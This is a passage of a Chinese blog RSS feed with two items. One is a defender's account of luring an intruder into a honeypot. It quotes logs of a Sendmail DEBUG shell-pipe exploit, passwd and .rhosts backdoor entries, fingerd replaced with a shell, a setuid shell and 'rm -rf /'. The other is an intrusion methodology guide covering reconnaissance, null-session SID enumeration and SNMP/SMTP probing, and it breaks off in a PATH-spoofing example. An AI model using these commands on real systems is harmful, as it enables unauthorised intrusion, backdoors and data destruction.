OK</DIV><DIV>00:43:25 smtpd[27466]: -------&gt; mail from:</DIV><DIV>00:43:25 smtpd[27466]: &lt;--- 503 Expecting HELO</DIV><DIV>00:43:34 smtpd[27466]: -------&gt; helo</DIV><DIV>00:43:34 smtpd[27466]: HELO from</DIV><DIV>00:43:34 smtpd[27466]: &lt;--- 250 xxx.xxx.com</DIV><DIV>00:43:42 smtpd[27466]: -------&gt; mail from:&nbsp;</DIV><DIV>00:43:42 smtpd[27466]: &lt;--- 250 OK</DIV><DIV>00:43:59 smtpd[27466]: -------&gt; rcpt to: 00:43:59 smtpd[27466]: &lt;--- 501 Syntax error in recipient name</DIV><DIV>00:44:44 smtpd[27466]: -------&gt; rcpt to:&lt;|sed -e '1,/?$/'d | /bin/sh ; exit 0&quot;&gt;</DIV><DIV>00:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0&quot;</DIV><DIV>00:44:45 smtpd[27466]: &lt;--- 250 OK</DIV><DIV>00:44:48 smtpd[27466]: -------&gt; data</DIV><DIV>00:44:48 smtpd[27466]: &lt;--- 354 Start mail input; end with .</DIV><DIV>00:45:04 smtpd[27466]: &lt;--- 250 OK</DIV><DIV>00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security</DIV><DIV>00:45:08 smtpd[27466]: -------&gt; quit</DIV><DIV>00:45:08 smtpd[27466]: &lt;--- 221 xxx.xxx.com Terminating</DIV><DIV>00:45:08 smtpd[27466]: finished.</DIV></TD></TR></TBODY></TABLE><DIV>这是我们对SMTP过程的日志。在这个例子中，另一端是由人来键入命令。入侵者尝试的第一个命令是DEBUG。当他接收的&ldquo;250 OK&rdquo;的回应时一定很惊奇。关键的行是&ldquo;rcpt to :&rdquo;。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。在DEBUG模式下，Sendmail可以用它来以ROOT身份执行一段命令。即：</DIV><DIV>sed -e '1,/?$/'d | /bin/sh ; exit 0&quot;</DIV><DIV>它去掉了邮件头的信息，并使用ROOT身份执行了消息体，这样可以隐藏一些关于他的信息。之后，这个入侵者试探着从我们的服务器上取得一些密码和账户文件，于是我们编造了一份假文件，给他发过去，密文破解后的意思是：&ldquo;小心玩火自焚!&rdquo;。</DIV><H5><A name="_Toc96751565">4</A>、寻踪</H5><DIV>这样几天没有动静，估计这个入侵者不死心，在考虑该怎么来修改密码文件了。其实，到这一步，我们完全可以把机器的补丁打上，不过，玩就要玩个痛快。不过，我们也在纳闷，这个入侵者不会知难而退了吧，还是有其他的工作在忙呢？静悄悄的，我们等待着。</DIV><DIV>星期五的晚上，一个难得的周末。机房监控的终端报告有安全事件，我们的入侵检测系统也时不时地报告有些错误发生。核对日志后，我们发现，有人试图使用DEBUG来用ROOT身份执行命令，也就是说，他试图修改我们的密码文件，一切尽在不言中，我不得不佩服这个入侵者的耐心和智慧！查看日志，我们发现，这次入侵同样是来自上次的连接：hust.whnet.edu。我们开始思考：现在到底是&ldquo;诱敌深入&rdquo;？还是&ldquo;引狼入室&rdquo;？从感觉来看，这个黑客比我们想象中的要厉害，而且他对现在的系统和系统漏洞相当的了解。难道我们要做的就是&ldquo;拔掉网线&rdquo;吗？思索中，一切仍然在进行中。</DIV><DIV>&nbsp;</DIV><DIV>出于真实性考虑，我们在采取一些信息迷惑的同时，也公布了一些让黑客进入的诱饵。其中ftp的passwd是真实的，另外还生成了一个账号，但却使它不可操作。同时，又要让入侵者以为他自己已经改变了passwd文件，但却不急于让他进来。因此还需要给这个入侵者创造一定的条件。于是，我生成了一个临时账号c，当它被调用时就会给我发信，为了保险起见，我把c账号在实际passwd文件中改成了cndes，当我作完后，这个入侵者继续尝试：</DIV><DIV>&nbsp;</DIV><DIV>00:44 echo &quot;cndes ::301:1::/:/bin/sh&quot; &gt;&gt; /etc/passwd</DIV><DIV>他尝试了几个命令，但是没有成功，终于他发现了cndes这个账号，于是产生了下面的日志：</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>00:51 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>00:51 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>00:55 echo &quot;cndes ::303:1::/tmp:/bin/sh&quot; &gt;&gt; /etc/passwd</DIV><DIV>00:57 (Added cndes to the real password file.)</DIV><DIV>00:58 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>00:58 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>01:05 echo &quot;36.92.0.205&quot; &gt;/dev/null</DIV><DIV>echo &quot;36.92.0.205 hust.whnet.edu&quot;&gt;&gt;/etc./?H?H?H</DIV><DIV>01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu</DIV><DIV>01:06 echo &quot;36.92.0.205 hust.whnet.edu&quot; &gt;&gt; /etc/hosts</DIV><DIV>01:08 echo &quot;hust.whnet.edu cndes&quot;&gt;&gt;/tmp/.rhosts</DIV></TD></TR></TBODY></TABLE><DIV>这时，这个入侵者的活动又转到了ftp上：</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>Feb 20 01:36:48 inet ftpd[14437]: &lt;--- 220 inet FTP server</DIV><DIV>(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.</DIV><DIV>Feb 20 01:36:55 inet ftpd[14437]: -------&gt; user cndes?M</DIV><DIV>Feb 20 01:36:55 inet ftpd[14437]: &lt;--- 331 Password required for cndes.</DIV><DIV>Feb 20 01:37:06 inet ftpd[14437]: -------&gt; pass?M</DIV><DIV>Feb 20 01:37:06 inet ftpd[14437]: &lt;--- 500 'PASS': command not understood.</DIV><DIV>Feb 20 01:37:13 inet ftpd[14437]: -------&gt; pass?M</DIV><DIV>Feb 20 01:37:13 inet ftpd[14437]: &lt;--- 500 'PASS': command not understood.</DIV><DIV>Feb 20 01:37:24 inet ftpd[14437]: -------&gt; HELP?M</DIV><DIV>Feb 20 01:37:24 inet ftpd[14437]: &lt;--- 214- The following commands are</DIV><DIV>recognized (* =&gt;'s unimplemented).</DIV><DIV>Feb 20 01:37:24 inet ftpd[14437]: &lt;--- 214 Direct comments to ftp-bugs@inet.</DIV><DIV>Feb 20 01:37:31 inet ftpd[14437]: -------&gt; QUIT?M</DIV><DIV>Feb 20 01:37:31 inet ftpd[14437]: &lt;--- 221 Goodbye.</DIV><DIV>Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0</DIV><DIV>Feb 20 01:37:31 inet inetd[116]: exit 14437</DIV><DIV>Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454</DIV><DIV>Feb 20 01:37:41 inet inetd[116]: exit 14454</DIV><DIV>01:38 finger attempt on cndes</DIV><DIV>01:48 echo &quot;36.92.0.205 hust.whnet.edu&quot; &gt;&gt; /etc/hosts.equiv</DIV><DIV>01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b</DIV><DIV>cp /bin/sh /usr/etc/fingerd</DIV></TD></TR></TBODY></TABLE><DIV>看的出，他在这方面是很在行的，幸运的是，他只是破坏了我们模拟机器上的finger而已，并没有将之替换成一个shell程序。我关闭了实际fingerd程序。黑客的活动仍然在继续，摘录的相关日志如下：</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>01:57 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>01:58 cp /bin/csh /usr/etc/fingerd</DIV><DIV>02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd</DIV></TD></TR></TBODY></TABLE><DIV>按照他的意思，fingerd现在重新开始工作。现在他试图修改password，不过，这永远不会成功，因为passwd的输入是/dev/tty，而不是sendmail所执行的shell script。攻击在继续中：</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>02:16 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>02:17 echo &quot;/bin/sh&quot; &gt; /tmp/Shell</DIV><DIV>chmod 755 /tmp/shell</DIV><DIV>chmod 755 /tmp/Shell</DIV><DIV>02:19 chmod 4755 /tmp/shell</DIV><DIV>02:19 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>02:19 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>02:21 Attempt to login to inet with cndes from hust.whnet.edu</DIV><DIV>02:21 Attempt to login to inet with cndes from hust.whnet.edu</DIV></TD></TR></TBODY></TABLE><DIV>又是一番折腾，连续的战斗，已经让我们疲惫不堪了，不过，这位入侵者也应该很疲惫了。突然，我发现了一个新的日志：</DIV><DIV>02:55 rm -rf /&amp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看来他试图删除所有进入的痕迹，估计他很累了。但是，对于这个黑客来说，&ldquo;没有进行破坏&rdquo;是说不过去的，根据计算机安全的基本原则，当数据的&quot;完整性、可用性和机密性&quot;中任意三者之一在受到破坏的时候，都应视为安全受到了破坏。在实际情况中，间谍们只是默默地拿走你的数据而绝不做任何的破坏，而且尽最大可能地掩盖自己行动的<A name="2"></A>痕迹。这些黑客希望长时间大量地得到珍贵的数据而不被发觉，这其实是最可怕的一种攻击行为。看来，今天碰到的这个黑客确实很职业，不过，他没有意识到我们给他布置的&ldquo;局&rdquo;，徒劳的长时间攻击之后，他选择了退出。我们也很累了，不过，现在最要紧的，就是马上恢复并且马上打上最新的sendmail系统补丁了。</DIV><DIV>随着计算机安全技术的发展，计算机网络将日益成为工业、农业和国防等方面的重要信息交换手段，渗透到社会生活的各个领域。因此，认清网络的脆弱性和潜在威胁，采取强有力的安全策略，对于保障网络的安全性将变得十分重要。同时，计算机网络技术目前正处于蓬勃发展的阶段，新技术层出不穷，其中也不可避免地存在一些漏洞，因此，进行网络防范要不断追踪新技术的应用情况，同时要把握黑客的心理，做到&ldquo;知己知彼，百战不殆&rdquo;，从而逐渐完善自身的防御措施。</DIV></TD></TR></TBODY></TABLE>]]></description>
		</item>
		    
		
		<item>
			<title>入侵渗透思路</title>
			<link>http://badlam.blog.sohu.com/979103.html</link>
			<comments>http://badlam.blog.sohu.com/979103.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Mon, 20 Feb 2006 02:09:45 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/979103.html</guid>
			<description><![CDATA[---asm_c&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;入侵渗透涉及许多知识和技术，并不是一些人用一两招就可以搞定的。<BR>一，踩点<BR>踩点可以了解目标主机和网络的一些基本的安全信息，主要有；<BR>1，管理员联系信息，电话号，传真号；<BR>2，IP地址范围；<BR>3，DNS服务器；<BR>4，邮件服务器。<BR>相关搜索方法：<BR>1，搜索网页。<BR>&nbsp;&nbsp; 确定目标信息1，为以后发动字典和木马入侵做准备；寻找网页源代码找注释和隐藏域，寻找隐藏域中的&quot;FORM&quot;标记。例如：<BR>&lt;FORM action=/Poll/poll.asp method=post&gt;<BR>&lt;input type=hidden name=vice value=vice&gt;<BR>&lt;/FORM&gt;<BR>可以发起SQL注入攻击，为以后入侵数据库做准备。<BR>相关工具：UNIX下的Wget,Windows下的Teleport。<BR>2，链接搜索<BR>&nbsp;&nbsp; 目标网站所在的服务器可能有其他具有弱点的网站，可以进行迂回入侵，而且可以发现某些隐含的信息。<BR>搜索方法介绍：<BR>通过各种搜索引擎：GOOGLE，<A href="http://www.dogpile.com,http://www.hotbot.com" target="_blank">http://www.dogpile.com,http://www.hotbot.com</A><BR>二，查点<BR>A，确定目标的域名和相关的网络信息。<BR>搜索方法；<BR>Whois查询，通过Whois数据库查询可以得到以下的信息：<BR>1，注册机构：显示相关的注册信息和相关的Whois服务器；<BR>2，机构本身：显示与某个特定机构相关的所有信息；<BR>3，域名：显示与某个特定域名相关的所有信息<BR>4，网络：显示与某个特定网络或单个IP地址相关的所有信息；<BR>5，联系点:显示与某位特定人员相关的所有信息<BR>搜索引擎站：<A href="http://www.infobear.com/whois.shtml" target="_blank">http://www.infobear.com/whois.shtml</A>,<BR>举例：Output of: whois 163.com@whois.internic.net<BR>Registrant: <BR>Netease.com, Inc. <BR>36/F Peace World Plaza, No.362-366 <BR>Huan Shi Dong Road <BR>Guangzhou, Guangdong 510060 <BR>CN <BR><BR>Domain Name: 163.COM <BR><BR>Administrative Contact, Technical Contact: <BR>Netease.com, Inc. nsadmin@corp.netease.com <BR>36/F Peace World Plaza, No.362-366 <BR>Huan Shi Dong Road <BR>Guangzhou, Guangdong 510060 <BR>CN <BR>+86-20-85525516 fax: +86-20-85525535 <BR><BR>Record expires on 24-Jan-2009. <BR>Record created on 15-Sep-1997. <BR>Database last updated on 10-Feb-2006 03:24:01 EST. <BR><BR>Domain servers in listed order: <BR><BR>NS.NEASE.NET 202.106.185.75 <BR>NS3.NEASE.NET 220.181.28.3 <BR><BR>B，利用ARIN数据库可以查询某个域名所对应的网络地址分配信息。<BR>相关搜索地址：<A href="http://ws.arin.net/cgi-bin/whois.pl" target="_blank">http://ws.arin.net/cgi-bin/whois.pl</A><BR>利用<A href="http://whois.apnic.net/apnic-bin/whois2.pl" target="_blank">http://whois.apnic.net/apnic-bin/whois2.pl</A>进行对IP地址的查询，以搜集有关的网络信息：<BR>举例：163.com-&gt;202.108.9.16<BR>inetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;202.108.0.0 - 202.108.255.255<BR>netname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CNCGROUP-BJ<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CNCGROUP Beijing province network<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;China Network Communications Group Corporation<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No.156,Fu-Xing-Men-Nei Street,<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Beijing 100031<BR>country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CN<BR>admin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CH455-AP<BR>tech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SY21-AP<BR>mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HM<BR>mnt-lower:&nbsp;&nbsp;&nbsp;&nbsp;MAINT-CNCGROUP-BJ<BR>mnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RR<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net 20031017<BR>status:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED PORTABLE<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net 20060124<BR>source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC<BR><BR>role:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNCGroup Hostmaster<BR>e-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; abuse@cnc-noc.net<BR>address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No.156,Fu-Xing-Men-Nei Street,<BR>address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Beijing,100031,P.R.China<BR>nic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CH455-AP<BR>phone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+86-10-82993155<BR>fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-82993102<BR>country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CN<BR>admin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CH444-AP<BR>tech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH444-AP<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@cnc-noc.net 20041119<BR>mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP<BR>source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC<BR><BR>person:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sun ying<BR>address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Beijing Telecommunication Administration<BR>address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TaiPingHu DongLi 18, Xicheng District<BR>address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Beijing 100031<BR>country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CN<BR>phone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+86-10-66198941<BR>fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-68511003<BR>e-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; suny@publicf.bta.net.cn<BR>nic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SY21-AP<BR>mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CHINANET-BJ<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;suny@publicf.bta.net.cn 19980824<BR>source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC<BR>知道了目标所在的网络，可以进行迂回渗透，寻找薄弱点，进入目标网络，然后在攻击目标。<BR><BR>C，DNS信息查询<BR>域名系统允许把一个DNS命名空间分割成多个区，各个去分别保存一个或多个DNS域的名字信息。<BR>区复制和区传送：DNS服务器之间是采用区传送的机制来同步和复制区内数据的。<BR>区传送的安全问题不在于所传输的域名信息，而在于其配置是否正确。因为有些域名信息当中包含了不应该公开的内部主机和服务器的域名信息。<BR>相关工具：<BR>1，Windows下，nslookup,SamSpade;<BR>2, UNIX下：nslookup,dig,host,axfr<BR>在Windows下的使用方法：<BR>c:\&gt;nslookup<BR>Default server: 目标的DNS服务器<BR>Address: 目标的IP地址<BR><BR>&gt;set type=ANY&nbsp;&nbsp;//表示接受任何可能的DNS记录<BR>&gt;ls -d 163.com &gt;zone.163.com.txt&nbsp;&nbsp; //获得目标域的相关记录，结果保存在zone.163.com.txt<BR><BR>D，通过Traceroute获得网络的拓扑结构以及网络网络设备的地址。<BR>相关工具；<BR>Windows下：Tracert 支持ICMP协议<BR>UNIX下：Traceroute 支持ICMP和DNS协议，由于多数防火墙已经过滤了ICMP，所以UNIX下的Traceroute是不错的选择，而且使用-p n选项可以自己指定使用的端口。<BR><BR>三，网络扫描<BR>面对不同的网络，应该采用不用的扫描方法：<BR>1，对于内部网络，可用类型很多，ICMP协议是普遍要装上的，在内部网广播ICMP数据包可以区分WINDOWS和UNIX系统，<BR>发送类型为8的ICMP的ECHO请求，如果可以受到类型为0的ECHO回应，表明对方主机是存活的。<BR>相关工具介绍：<BR>UNIX下的：fping&amp;gping<BR>WINDOWS下：Pinger 特点：速度快，多线程。<BR>2，对于外部网络，可用类型也很多，涉及到的原理也有很多，例如：TCP扫描，UDP扫描，<BR>其实我是很不愿意用扫描工具的，很容易使对方感觉到入侵事件的发生，不论是防火墙还是入侵检测系统都会或多或少的留下我们的脚印，如果遇到一个勤快的管理员的话，那么这次入侵很可能以失败告终。<BR>但使用与否依各个喜好而定了：），有时候我们在测试网络或者主机的安全性时，就不能忽视他的存在了，首先，安全测试不是入侵，全面的测试对抵御黑客和蠕虫的攻击是必要的，在这里推荐的端口扫描工具是NMAP，因为他带有躲避IDS检测的机制，重组了TCP的三次握手机制，慢扫描机制等等都是其他扫描工具无法比拟的，UDP扫描是很不可靠的，原因有下几点：<BR>这种扫描依靠ICMP端口不可达消息,如果发送端给目标一个感兴趣的端口发送了一个UDP数据包后，没有收到ICMP端口不可打消息，那么我们认为该端口处于打开状态。<BR>不可靠的原因：<BR>1，路由器可能丢弃UDP分组；<BR>2，很多的UDP服务不也不产生响应；<BR>3，防火墙的常规配置是丢弃UDP分组（除DNS外）；<BR>4，休眠状态的UDP端口是不会发送一个ICMP端口不可到达消息。<BR><BR>还有的扫描工具就是弱点扫描工具，这些工具综合各种漏洞信息构造漏洞数据库，去探究存在漏洞没有打补丁的主机,当然也有针对特定漏洞的检测发现工具（脚本小子能用，网络安全人员也弄用--双刃剑-：）<BR>这里详细介绍对目标操作系统类型的检测原理：<BR>Telnet标识和TCP/IP堆栈指纹：<BR>1，网上许多的系统可以直接Telnet到目标，大多会返回欢迎信息的，返回的信息包含了该端口所对应的服务软件的版本号，这个对于寻找这个版本的软件的漏洞很重要，如果对方开了Telnet，那么可以直接得到对方的系统类型和版本号，这个对于挖掘系统的漏洞很重要（对于溢出来说，不同版本的系统和语言版本的系统来说，RET地址，JMP ESP，地址是不同的）。<BR>2，如今越来越多的管理员懂的了关闭功能标志，甚至提供伪造的欢迎信息。那么TCP/IP堆栈指纹是区分不同系统的好方法。<BR>1，FIN扫描<BR>给打开的端口发送FIN包，RFC 793规定不返回任何响应，例外的系统是： MS Windows,BSDI,CISCO,HP/UX,MVS和IRIX都返回一个RESET包。<BR>2，TCP初始序列号（ISN）采样<BR>这种方法利用了在实现TCP连接时使用不同的ISN模式识别系统，可以分成多种模式：传统的64K增加（旧<BR>UNIX OS），随机增加（新版的Solaris,IRIX,FreeBSD,Digital UNIX和Cray等），真正随机（Linux 2.0.*,OpenVMS和新版AIX等），Windows系统使用所谓的&ldquo;时间依赖性&rdquo;模型，即ISN的增加同某一个短固定的时间间隔有关系，有些主机始终使用固定的ISN，例如3COM集线器（使用0x803)和AppleLaserWriter打印机（0xC7001）。<BR>3，不分片位<BR>目前许多系统在他们发送的包中使用IP&ldquo;不分片&rdquo;位，这主要是想获得好的运行性能，不过也不是所有的操作系统都有此功能，即使有，其实现的方式可能也不同。因此利用次位或许有利于我们收集更多的有关目标OS的信息。<BR>4，TCP初始窗<BR>TCP初始窗只是简单地测试返回包的窗口尺寸。Queso和Nmap可以对实际的窗口进行窗口跟踪。在很多操作系统中是一个常数。例如：AIX是唯一使用0x3F25的操作系统。对于完全重新编写代码的NT 5的TCP堆栈，使用0x402E.<BR>5,ACK值<BR>如果发送一个FIN|PSH|URG，许多操作系统设置ACK等于初始序列号，而Windows和某些打印机将发送seq+1.如果发送一个SYN|FIN|PSH|URG到打开的端口，不同的Windows系统的实现将很不一致，有时返回seq,有时返回seq+1,甚至返回完全随机的数值。<BR>6，ICMP错误消息机制<BR>某些操作系统按照RFC 1812的建议，限制不同错误消息的发送速率。例如：Linux内核（在net/ipv4/icmp.h中定义）限制目标不可到达消息的产生速率为4秒种内80个，如果超过这个限制将有1/4的惩罚。测试方法是发送一大串包到某些随机选取的高端口，然后计算返回的不可到达包的数目。<BR>7，ICMP消息引用（Message Quoting)<BR>RFC规定：ICMP错误消息将引用一小部分导致错误消息包的ICMP消息内容。对于端口不可达消息，几乎所有的实现都只发送所需要的IP头+8字节。不过Solaris发送的内容更多，而Linux发送的东西最多。这就是我们识别没有打开任何端口的Linux和Solaris主机。<BR>8，ICMP错误消息回射完整性<BR>主机对端口不可打错误消息将送回一小部分于是消息的内容。某些机器送回的包中包括的协议头部分已经被改变。例如，AIX和BSDI送回的IP总长度是20字节。而系统BSDI，FreeBSD,OpenBSD,ULTRIX和VAXen则将原样送回你所发送的IP标识符。某些系统（AIX和FreeBSD等）将送回不一致或等于0的校验和。这同样适用于UDP校验和。Nmap对ICMP错误消息包进行九种不同的测试以标识系统之间的微笑差别。<BR>9，TCP选项<BR>是实现TCP/IP协议时可选的一个部分功能，这跟不同的系统实现有关，这些选项都是挖掘可用信息的好方法。原因是：<BR>1，他们都是可选项，不是所有主机都可以实现的；<BR>2，如果你所发送的包中对某个选项进行了设置，只要目标支持，那么目标主机就返回此选项；<BR>3，可以在包中设置所有的选项进行测试。<BR>例如：Nmap在每个探测包中设置所有的选项来进行测试：<BR>Windows Scale=10;NOP;Max Segment Size=265;Timestamp;End of Ops;<BR>从返回的的包中查看这些选项，就知道了什么系统支持他们。<BR><BR>还有一种被动操作系统识别方法，就是监控不同系统之间网络包的情况来判断目标的操作系统类型，siphon被用来进行这方面的测试，这个工作原理如下：<BR>签名：<BR>主要TCP的四个字段判断：<BR>1，TTL：出站的包的存活时间；<BR>2，Window size：窗口大小；<BR>3，DF：是否设置了不准分片位；<BR>4，TOS：是否设置了服务类型。<BR>综合这些信息可以大概判断出目标的系统，但不能%100。<BR>四，查点<BR>利用查点技术可以得到比前面讲的更多更具体的有用信息，例如：帐户信息等。<BR>1，Windows系统查点技术<BR>利用NetBIOS规则，首先介绍NetBIOS,NetBOIS位于TCP/IP之上，定义了多个TCP和UDP端口。<BR>----TCP<BR>（1），139：nbsession:NetBOIS会话。<BR>例如：net use \\IP\ipc$ &quot; &quot; /user:&quot; &quot;.<BR>（2），42：WINS：Windows Internet名字系统（UDP端口也是42）。<BR>----UDP<BR>（1）137：nbname:名字查询。<BR>例如：nbtstat -A IP&nbsp;&nbsp;//03中显示的不是计算机名就是用户名<BR>（2）138：nbdatagram:UDP数据报服务<BR>例如：net send /d:domain-name &quot;Hello&quot;<BR>得到用户名利用到了IPC$空会话和sid工具。sid工具由两个小工具组成：user2sid和sid2user.user2sid获得用户名或组名的sid;sid2user则是输入一个sid而获得相应用户名的和组名，sid就是在创建用户时而创建的，相当于UNIX系统下的UID,WIN系统权限的检查就是通过对SID的检查的。一个sid是由一长串数字组成的，其中包括两个部分，前一部分用来唯一标识一个域，后一部分唯一标识一个用户名，这部分数字被称作rid，既相对标识符，rid有一定的规律，其取值总是从500开始的，超级管理员的rid总是500，而GUEST用户的rid总是501；而新建立的帐户的rid从1000开始。<BR>具体的步骤：<BR>c:\net use \\IP\ipc$ &quot; &quot; /user:&quot; &quot;<BR>c:\user2sid \\IP guest //得到了SID的前半部分<BR>s-1-5-21-1123561945-1580818891-1957994488-501<BR>s是sid的前缀，后面跟的是1表示版本号，5用于标识发放sid的授权实体，5指NT/2000。21-1123561945-1580818891-1957994488唯一地标识域和工作组。不同的用户只是最后的相对标识符不一样。现在用sid2user查询系统的用户名了：<BR>c:\sid2user \\IP 5 21 1123561945 1580818891 1957994488 500<BR>name is cookie<BR>domain is condor<BR>c:\sid2user \\IP 5 21 1123561945 1580818891 1957994488 1001<BR><BR>SNMP查点：通过默认的管理群字符串PUBLIC读取特性，可以得到系统的一些信息，具体有：接口表，路由表及ARP表，TCP表和UDP表，设备表和存储表，进程表和软件表，用户表，共享表。<BR>SNMP工具，snmputil.exe<BR>例如：<BR>1，或者网络接口数目：<BR>c:\snmputil get localhost public .1.3.6.1.2.1.2.1.0<BR>2,显示所有的SNMP变量内容<BR>c:\snmputil walk localhost public .1.3<BR>2UNIX类系统的查点技术<BR>1，$showmount -e <A href="http://www.target.com????/" target="_blank">www.target.com&nbsp;&nbsp;&nbsp;&nbsp;</A> //前提2049号端口开着（NFS）<BR>2，$finger @<A href="http://www.target.com??//" target="_blank">www.target.com&nbsp;&nbsp;//</A>还有rusers<BR>3, $telnet <A href="http://www.target.com/" target="_blank">www.target.com</A> 25<BR>&nbsp;&nbsp; vrfy root&nbsp;&nbsp;&nbsp;&nbsp;//证实是否有root<BR>&nbsp;&nbsp; expn adm <BR>&nbsp;&nbsp; quit <BR>五，具体的分析漏洞<BR>针对特定目标进行了以上分析后，总结出最好的入侵思路，选择入侵工具，做好入侵的准备工作是必须，有时入侵时间的选择也是很重要的，因为会涉及到正常的公司网络的正常通信，甚至会使恶意的网络在你入侵测试就发生了，最直接的漏洞利用方法，我认为是溢出漏洞了，因为他直接就可以得到对方的系统权限，返回一个和在本地一样的SHELL环境，此时无所不能：<BR>溢出攻击的分类有：<BR>1，WINDOWS下的和UNIN下的<BR>一般原理，就用户提交的参数范围超过了在内存中保存的本地变量的范围，而程序或者系统并没有对输入的参数进行合理的长度检查，导致了被调用函数的返回地址被覆盖，如果用一个跳转到我们提交的shellcode的地方的地址代替，那么我们的shellcode就可以运行，成功得到了目标的系统权限。<BR>此外还有格式化串漏洞，导致这个漏洞的原因是在处理用户数据的参数时没有过滤用户提交的，格式化符号，例如%n这个将允许输出的参数的个数保存在内存中，恶意构造此漏洞用户将会向内存的任何位置写SHELLCODE的地址。<BR>2,常见漏洞类型<BR>UNIX下的本地漏洞很多，挖掘起来也较容易，他主要有以下几种类型：<BR>1，环境欺骗<BR>一般指PATH环境变量的欺骗，就是说如果一个特权的程序执行了一个外部的命令，那么我们可以简单的构造这个外部命令程序，然后修改PATH使这个特权程序能够去首先执行我们构造的外部命令程序，而这个外部的命令程序是一个去得SHELL的程序例如：<BR>bash$cat &gt;ps &lt;&lt;EOF<BR>&gt;#!/bin/sh<BR>&gt;EOF<BR>而这个特权程序是：<BR>bash$cat &gt;test.c &lt;&lt;EOF<BR>&gt;int main()<BR>&gt;{<BR>&gt;setuid(0);<BR>&gt;system(&quot;ps -ef&quot;);&nbsp;&nbsp; 